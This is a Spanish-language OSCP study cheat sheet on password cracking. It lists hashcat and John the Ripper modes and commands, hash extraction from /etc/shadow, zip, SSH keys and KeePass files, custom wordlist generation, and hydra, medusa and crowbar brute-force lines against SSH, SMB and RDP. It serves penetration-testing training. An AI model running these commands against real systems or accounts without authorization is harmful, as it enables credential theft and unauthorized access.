# Cracking de contraseñas

> Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords.

## Identificar el hash
```bash
hashid '$1$...'        # o hash-identifier
```

## hashcat — los modos que importan
```
-m 0      MD5            -m 100   SHA1         -m 1000  NTLM
-m 1800   sha512crypt ($6$, /etc/shadow)
-m 5600   NetNTLMv2 (capturado con Responder → Client-side attacks)
-m 13100  Kerberoast TGS ($krb5tgs$)   → Kerberoasting
-m 18200  AS-REP ($krb5asrep$)         → AS-REP Roasting
-m 22000  WPA-PBKDF2     -m 13400  KeePass
```
```bash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
```

## John the Ripper
```bash
unshadow /etc/passwd /etc/shadow > unshadowed
john --format=NT hashes.txt --wordlist=rockyou.txt
zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john   # extractores
john --rules --wordlist=rockyou.txt z.hash
```

## Wordlists a medida
```bash
cewl http://IP -m 6 -w custom.txt           # palabras de la propia web
crunch 8 8 -t @@@@%%%% -o crunch.txt          # patrones
```

## Online (servicio en vivo)
```bash
hydra -L users.txt -P rockyou.txt ssh://IP   # ver Authentication attacks
medusa -h IP -u admin -P pass.txt -M smbnt
fcrackzip -u -D -p rockyou.txt secret.zip     # ZIP
crowbar -b rdp -s IP/32 -u admin -C pass.txt  # RDP
```

Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC